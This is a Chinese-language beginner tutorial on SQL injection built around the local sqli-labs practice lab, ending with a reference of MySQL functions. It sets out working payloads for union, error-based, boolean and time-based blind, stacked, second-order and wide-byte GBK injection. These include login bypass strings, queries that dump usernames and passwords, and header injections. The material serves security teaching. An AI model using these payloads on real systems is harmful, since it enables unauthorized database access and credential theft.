本文以sqlI-labs靶场为例子,阐述啦SQL最最最基础的部分,本文为SQL注入 基础篇!可能还会有中级篇。
注:勿喷勿喷勿喷!重要的事情说三遍!
SQL注入 简介
什么是SQL注入
SQL注入是发生在Web程序中数据库层的安全漏洞;SQL注入就是通过把SQL命令插入表单提交或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。具体来说就是Web应用程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在Web应用程序中事先定义好的SQL语句中添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来欺骗数据库服务器执行非授权的任意查询,从而进一步获取敏感信息。
SQL注入的危害
- 网页篡改
- 网页挂马
- 数据泄露
- 数据篡改
- webshell
- 系统提权
常见的SQL注入点
GET请求中可控参数的URL,比如
http://localhost:222/Less-1/?id=2
可以在'$id'
处拼接恶意的SQL语句。后台SQL查询语句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#在此处进行SQL注入
http://localhost:222/Less-1/?id=-2' union select 1,database(),user()--+
#此时后台执行的语句
SELECT * FROM users WHERE id='-2' union select 1,database(),user()-- ' LIMIT 0,1
POST请求表单中的登录框搜索框,比如
uname=admin&passwd=admin&submit=Submit
可以在$uname
,$password
处拼接恶意的SQL语句,后台SQL查询语句
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
#可以注释掉 passwd 来登录,免密码登录
uname=admin'#&passwd=&submit=Submit
#此时后台执行的语句
SELECT username, password FROM users WHERE username='admin' #' and password='' LIMIT 0,1
# 注释后面语句并添加一个永真条件,万能密码登录
uname=admin&passwd=1'||1--+&submit=Submit
#此时后台执行的语句
SELECT username, password FROM users WHERE username='admin' and password='1' ||1#' LIMIT 0,1
# 闭合后面语句并添加一个永真条件,万能密码登录
uname=admin&passwd=1'or'1'='1&submit=Submit
#此时后台执行语句
SELECT username, password FROM users WHERE username='admin' and password='1' or '1'='1' LIMIT 0,1
HTTP头部信息中的注入点
User-Agent处
POST /Less-18/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: 1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
Referer处
POST /Less-19/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
Upgrade-Insecure-Requests: 1
uname=admin&passwd=admin&submit=Submit
Cookie:处
GET /Less-20/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=admin' and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)#
Connection: close
Upgrade-Insecure-Requests: 1
验证是否存在注入
通过在Web应用程序中触发错误或布尔逻辑,可以检测易受攻击的参数。True或False语句应通过HTTP状态码或HTML内容返回不同的响应。如果这些响应与查询的True或False性质一致,则表示存在注入。
数字型注入:
http://localhost:222/Less-2/?id=1 and 1=1 #页面显示正确
http://localhost:222/Less-2/?id=1 and 1=2 #页面显示错误
字符型注入:
如何判断闭合符号呢?(假如此处拼接方式是id=('$id')
),常见的拼接方式比如'
,"
,')
,"))
等。我们可以尝试替换id的后的闭合符号,同时满足以下的两个条件,就可以确定正确的闭合方式!
http://localhost:222/Less-2/?id=1') and 1=1--+ #页面显示正确
http://localhost:222/Less-3/?id=1') and 1=2--+ #页面显示错误
基本注入语句解析
#查询库
select schema_name from information_schema.schemata
#查询表
select table_name from information_schema.tables where table_schema='db_name'
#查询列
select column_name from information_schema.columns where table_name='tb_name'
#查询值
select 列名 from db_name.tb_name
information_schema里面会存所有数据库的一些相关信息:
其中SCHEMATA表中的SCHEMA_NAME记录了所有数据库的名字:
在TABLES表中的SCHEMA_NAME也记录了数据库的名字,在TABLE_NAME中记录了所有数据库中的表名字:
COLUMNS表中的COLUMN_NAME记录啦表中的的列名:
SQL注入 分类
-
根据字符类型分类:
字符型
,数字型
-
根据提交方式分类:
GET型
,POST型
,HTTP头部
(User-Agent 等 ······) -
根据执行效果分类:
联合注入
,报错注入
,布尔盲注
,时间盲注
,堆叠注入
,宽字节注入
联合注入
页面有回显位:服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫回显位。所查询的两个表的列数相同:UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。所以要先确定表的列数,然后找出回显的位置
使用order by
来确定前表的列数;以sqli-labs Less-1为例:
http://localhost:222/Less-1/?id=1' order by 3--+
页面显示正确
http://localhost:222/Less-1/?id=1' order by 4--+
页面显示错误,说明有三列
然后就可以找显示位置啦。
http://localhost:222/Less-1/?id=-1' union select 1,2,3--+
可以看到2和3显示在啦页面里,只需要把2,3替换为自己想要查询的数据就OK啦。
http://localhost:222/Less-1/?id=-1' union select 1,user(),database()--+
payload
爆出库名
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
爆出表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆出字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆出数据
?id=-1' union select 1,2,group_concat(username,password) from security.users--+
报错注入
页面没有显示位置,但是使用啦
mysql_error()
函数,该函数作用是当数据库中产生错误的时候,会有错误提示,比如语法错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ at line 1;这时就可以利用一种手段使查询的信息出现在这些报错的信息中。达到自己的目的。
使用floor()
,rand()
等函数来进行报错注入;以sqli-labs Less-5为例:
http://localhost:222/Less-5?id=1' and(select * from(select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)a)--+
可以看到爆出的错误中出现啦我们想要的数据
payload
?id=1' and(select * from(select count(*),concat((基本注入语句),floor(rand(0)*2))a from information_schema.tables group by a)a)--+
?id=1' and extractvalue(1,concat(0x7e,(基本注入语句),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(基本注入语句),0x7e),1)--+
?id=1' and(exp(~(select * from(基本注入语句)a)))--+
函数 multilinestring() == linestring() == multipolygon() == polygon() == geometrycollection() == multipoint()
?id=1' and multilinestring((select * from(select * from(基本注入语句)a)b))--+
?id=1'and(select * from (select name_const(version(),1),name_const(version(),1))a)--+
布尔盲注
当请求正确时页面显示正常,请求错误时页面无任何信息,根据页面正常和错误来判断语句是否正确执行,然后利用一些函数来对数据进行猜解!
使用length()
函数来确定数据的字段长度,这里的数据库名称为security
;以sqli-labs Less-8为例:
http://localhost:222/Less-8/?id=1' and(length(database())>9)--+
猜数据库名的长度大于9显示错误,说明数据库的位数小于9,继续猜-
http://localhost:222/Less-8/?id=1' and(length(database())=8)--+
猜解数据库的长度为8,刚好security也是8位数,页面显示正确。
使用
substr()
,ascii()
等函数猜解数据库名:
#使用substr()函数
http://localhost:222/Less-8/?id=1' and(substr((select database()),1,1)='s')--+
http://localhost:222/Less-8/?id=1' and(substr((select database()),2,1)='e')--+
payload
猜解数据长度
?id=1' and(select length(schema_name) from information_schema.schemata limit 4,1)=8--+
猜解数据名称
?id=1' and left((select database()),1)='s'--+
?id=1' and right((select database()),1)='y'--+
?id=1' and mid((select database()),1,8)='security'--+
?id=1' and substr((select schema_name from information_schema.schemata limit 4,1),1,1)='s'--+
?id=1'and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=115--+
时间盲注
页面无任何变化,只能根据页面响应的时间来判断执行的语句是否正确!
使用sleep()
函数延长SQL语句查询的时间来判断是否存在注入;以sqli-labs Less-10为例:
http://localhost:222/Less-10?id=1" and if(1=1,sleep(3),1)--+
可以看到SQL语句正确的时候页面响应时间为3秒多
http://localhost:222/Less-10?id=1" and if(1=2,sleep(3),1)--+
而SQL语句逻辑错误的时候页面响应时间明显的缩短
然后利用布尔盲注语句来进行数据猜解:
http://localhost:222/Less-10?id=1" and if(substr((select database()),1,1)='s',sleep(3),1)--+
响应时间为3秒多,说明当前使用的数据库的名称第一位字母是s:
payload()
只是在布尔盲注语句基础上加啦if(基本语句,sleep(3),1)语句进行延时来判断语句TRUE/FALSE
?id=1" and if(length((select schema_name from information_schema.schemata limit 4,1))=8,sleep(3),1)--+
?id=1" and if(mid((select schema_name from information_schema.schemata limit 4,1),1,8)='security',sleep(3),1)--+
堆叠注入
将语句堆叠在一起进行查询,原理很简单,
mysql_multi_query()
支持多条sql语句同时执行,使用;分隔,成堆的执行sql语句。
使用;
来分割语句;以sqli-labs Less-38为例:
?id=1';insert into users values(15,'admintest','admintest');--+
向数据表中新添加一个用户,当然也可以修改其他用户的用户名和密码:
二次注入
以sqli-labs Less-24为例:
代码分析
- index.php
主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了
- failed.php
检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php
- forgot_password.php
简单提示:如果你忘记密码 请 hack it
- Logged-in.php
登录后的信息展示,显示登录名称并且提供了修改密码的表单
- new_user.php
创建新用户的表单页面,本文件主要存放前段代码。
- login_create.php
创建新用户的后端代码,下面来简单理一下代码的流程:
# 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义 username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']); # 查询当前用户信息 $sql = "select count(*) from users where username='$username'"; 如果当前用户已经存在 无法注册 if 两次输入密码一致: # 将记录插入数据库中 $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")"; 查询完成后 重定向到首页 else: 提示两次输入密码不一致
- login.php
# 登录用户名和密码都被过滤了 $username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
- pass_change.php
if 检测未登录: 重定向到首页 if 检测到提交表单: # 对 pass 都进行了过滤 $username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); if 两次密码一致: # 直接将 username 拼接到 SQL 语句 $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; else: 提示密码不一致 并重定向到 fail.php
思路分析
从代码上来看貌似都被转义了,乍一看是成功注入的。实际上的确不能使用常规的思路来进行注入,因为这题是二次注入,ISCC 2019 当时使用这题的考查点是修改掉 admin 用户的密码,然后再登录即可。假设不知道 admin 用户的情况下,想要修改掉 admin 用户的密码的话,这里就使用的是二次注入的姿势了。
二次注入 简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。
先看创建用户的地方:
username = mysql_escape_string($_POST['username']) ;
username 被
mysql_escape_string
函数过滤了,该函数的作用如下:
危险字符 转义后 \
\\
'
\'
"
\"
再看下更新密码的核心语句:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:
admin'#
,那么此时的完整语句就为:UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
此时就完全改变了语义,直接就修改掉了 admin 用户的密码。
步骤演示
常见一个
admin'#
开头的用户名,下面列举的几种都可以,以此类推,很灵活:admin'#1 admin'#233 admin'#gg ...
注册完成后数据库的记录信息如下:
mysql> select * from users; +----+---------------+------------+ | id | username | password | +----+---------------+------------+ | 20 | admin'#hacker | 111 | +----+---------------+------------+
成功添加了记录,这里单引号数据库中中看没有被虽然转义了,这是因为转义只不过是暂时的,最后存入到数据库的时候还是没变的。
接下来登录
admin'#hacker
用户,然后来修改当前的密码:此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:
mysql> select * from users; +----+---------------+------------+ | id | username | password | +----+---------------+------------+ | 8 | admin | 233 | | 20 | admin'#hacker | 111 | +----+---------------+------------+
宽字节注入
Less-32
请求方式 注入类型 拼接方式 GET 联合、报错、布尔盲注、延时盲注 id='$id'
考察 Bypass addslashes(),关键的防护代码如下:
if(isset($_GET['id'])) $id=check_addslashes($_GET['id']); # 在' " \ 等敏感字符前面添加反斜杠 function check_addslashes($string) { # \ 转换为 \\ $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); 将 # 将 ' 转为\" $string = preg_replace('/\'/i', '\\\'', $string); # 将 " 转为\" $string = preg_replace('/\"/', "\\\"", $string); return $string; }
宽字节注入原理
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如
%aa%5c
就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠\
,所以这里想办法干掉反斜杠即可。
%df
吃掉\
具体的原因是
urlencode(\') = %5c%27
,我们在%5c%27
前面添加%df
,形 成%df%5c%27
,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c
当做是一个汉字,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。
- 将
\'
中的\
过滤掉例如可以构造
%5c%5c%27
的情况,后面的%5c
会被前面的%5c
给注释掉。这也是 bypass 的一种方法。本关卡采用第一种 %df 宽字节注入来吃掉反斜杠,下面直接丢 payload
?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
SQL注入 函数
信息收集
函数 | 作用 |
---|---|
user() | 系统用户和登录主机名 |
database() | 当前使用的数据库名称 |
version() | 当前数据库服务器版本信息 |
@@hostname | 数据库的机器名 |
uuid() | 数据库的MAC地址查询 |
@@datadir; | 数据库路径 |
@@version_compile_os | 操作系统 |
使用下面这两张表来学习一下常用函数的作用:
数据库demo
,表a
id | name | grades |
---|---|---|
201 | xh | 98 |
202 | xa | 99 |
203 | xd | 60 |
204 | xf | 58 |
205 | as | 100 |
220 | xx | 99 |
数据库demo
,表b
number | name | grades | id |
---|---|---|---|
2018 | we | 100 | 3 |
2019 | qw | 67 | 4 |
2020 | qa | 68 | 8 |
2021 | fg | 36 | 2 |
2022 | df | 23 | 1 |
2023 | bv | 12 | 9 |
union
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。
mysql> select name,grades from a union select name,1 from b;
+------+--------+
| name | grades |
+------+--------+
| xh | 98 |
| xa | 99 |
| xd | 60 |
| xf | 58 |
| as | 100 |
| xx | 99 |
| we | 1 |
| qw | 1 |
| qa | 1 |
| fg | 1 |
| df | 1 |
| bv | 1 |
+------+--------+
12 rows in set (0.00 sec)
order by
ORDER BY 语句用于根据指定的列对结果集进行排序。默认按照升序对记录进行排序。
mysql> select grades from a order by grades;
+--------+
| grades |
+--------+
| 58 |
| 60 |
| 98 |
| 99 |
| 99 |
| 100 |
+--------+
6 rows in set (0.00 sec)
#这里很清楚的可以看到如何使用order by来判断列数
mysql> select * from a where grades=60;
+-----+------+--------+
| id | name | grades |
+-----+------+--------+
| 203 | xd | 60 |
+-----+------+--------+
1 row in set (0.00 sec)
mysql> select * from a where grades=60 order by 3;
+-----+------+--------+
| id | name | grades |
+-----+------+--------+
| 203 | xd | 60 |
+-----+------+--------+
1 row in set (0.00 sec)
mysql> select * from a where grades=60 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
group by
GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。在分组的列上我们可以使用 COUNT, SUM, AVG,等函数。
接下来我们使用 GROUP BY 语句 将数据表按成绩进行分组,并统计每个成绩有多少条记录:
mysql> select grades,count(*) from a group by grades ;
+--------+----------+
| grades | count(*) |
+--------+----------+
| 58 | 1 |
| 60 | 1 |
| 98 | 1 |
| 99 | 2 |
| 100 | 1 |
+--------+----------+
5 rows in set (0.00 sec)
count()
count()函数返回指定列的值的数目(NULL 不计入):
mysql> select count(name) from a;
+-------------+
| count(name) |
+-------------+
| 6 |
+-------------+
1 row in set (0.00 sec)
concat()
concat()函数用于连接两个字符串,形成一个字符串。
mysql> select concat('hello','-','MySQL');
+-----------------------------+
| concat('hello','-','MySQL') |
+-----------------------------+
| hello-MySQL |
+-----------------------------+
1 row in set (0.00 sec)
mysql> select concat(name,'-',grades) from a;
+-------------------------+
| concat(name,'-',grades) |
+-------------------------+
| xh-98 |
| xa-99 |
| xd-60 |
| xf-58 |
| as-100 |
| xx-99 |
+-------------------------+
6 rows in set (0.00 sec)
concat_ws()
同concat()一样,不过可以指定分割符号;
mysql> select concat_ws('-',name,grades) from a;
+----------------------------+
| concat_ws('-',name,grades) |
+----------------------------+
| xh-98 |
| xa-99 |
| xd-60 |
| xf-58 |
| as-100 |
| xx-99 |
+----------------------------+
6 rows in set (0.00 sec)
mysql> select concat_ws('~',name,grades) from a;
+----------------------------+
| concat_ws('~',name,grades) |
+----------------------------+
| xh~98 |
| xa~99 |
| xd~60 |
| xf~58 |
| as~100 |
| xx~99 |
+----------------------------+
6 rows in set (0.00 sec)
group_concat()
group_concat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。
mysql> select group_concat(name) from a;
+--------------------+
| group_concat(name) |
+--------------------+
| xh,xa,xd,xf,as,xx |
+--------------------+
1 row in set (0.00 sec)
mysql> select group_concat(name,'-',grades) from a;
+--------------------------------------+
| group_concat(name,'-',grades) |
+--------------------------------------+
| xh-98,xa-99,xd-60,xf-58,as-100,xx-99 |
+--------------------------------------+
1 row in set (0.00 sec)
floor()
floor()函数返回小于等于该值的最大整数.
mysql> select floor(1);
+----------+
| floor(1) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select floor(1.8);
+------------+
| floor(1.8) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(-1.8);
+-------------+
| floor(-1.8) |
+-------------+
| -2 |
+-------------+
1 row in set (0.00 sec)
rand()
rand()函数产生一个在 0 和 1 之间的随机数;当使用整数作为参数调用时,rand()使用该值作为随机数的种子发生器。每次种子使用给定值生成,rand()将产生一个可重复的系列数字。使用floor(rand(0)*2)报错原理探究:https://www.freebuf.com/column/235496.html
mysql> select rand(),rand(),rand();
+-----------------------+--------------------+--------------------+
| rand() | rand() | rand() |
+-----------------------+--------------------+--------------------+
| 0.0038789194113378594 | 0.8006417348986881 | 0.9915719469930715 |
+-----------------------+--------------------+--------------------+
1 row in set (0.00 sec)
mysql> select rand(1),rand(1),rand(1);
+---------------------+---------------------+---------------------+
| rand(1) | rand(1) | rand(1) |
+---------------------+---------------------+---------------------+
| 0.40540353712197724 | 0.40540353712197724 | 0.40540353712197724 |
+---------------------+---------------------+---------------------+
1 row in set (0.00 sec)
sleep()
延长查询数据消耗的时间
mysql> select * from a;
+-----+------+--------+
| id | name | grades |
+-----+------+--------+
| 201 | xh | 98 |
| 202 | xa | 99 |
| 203 | xd | 60 |
| 204 | xf | 58 |
| 205 | as | 100 |
| 220 | xx | 99 |
+-----+------+--------+
6 rows in set (0.00 sec)
查询6条数据每条数据消耗3秒,6条数据全部查完消耗18秒
mysql> select *,sleep(3) from a;
+-----+------+--------+----------+
| id | name | grades | sleep(3) |
+-----+------+--------+----------+
| 201 | xh | 98 | 0 |
| 202 | xa | 99 | 0 |
| 203 | xd | 60 | 0 |
| 204 | xf | 58 | 0 |
| 205 | as | 100 | 0 |
| 220 | xx | 99 | 0 |
+-----+------+--------+----------+
6 rows in set (18.00 sec)
mid()
mid()函数返回从指定位置开始的子字符串。
mysql> select mid('hello-word',1,4);
+-----------------------+
| mid('hello-word',1,4) |
+-----------------------+
| hell |
+-----------------------+
1 row in set (0.01 sec)
mysql> select mid('hello-word',3);
+---------------------+
| mid('hello-word',3) |
+---------------------+
| llo-word |
+---------------------+
1 row in set (0.00 sec)
left(),right()
left()函数返回从左侧开始的字符串
right()函数返回从右侧开始的字符串
mysql> select left('hello-word',2);
+----------------------+
| left('hello-word',2) |
+----------------------+
| he |
+----------------------+
1 row in set (0.00 sec)
mysql> select right('hello-word',2);
+-----------------------+
| right('hello-word',2) |
+-----------------------+
| rd |
+-----------------------+
1 row in set (0.00 sec)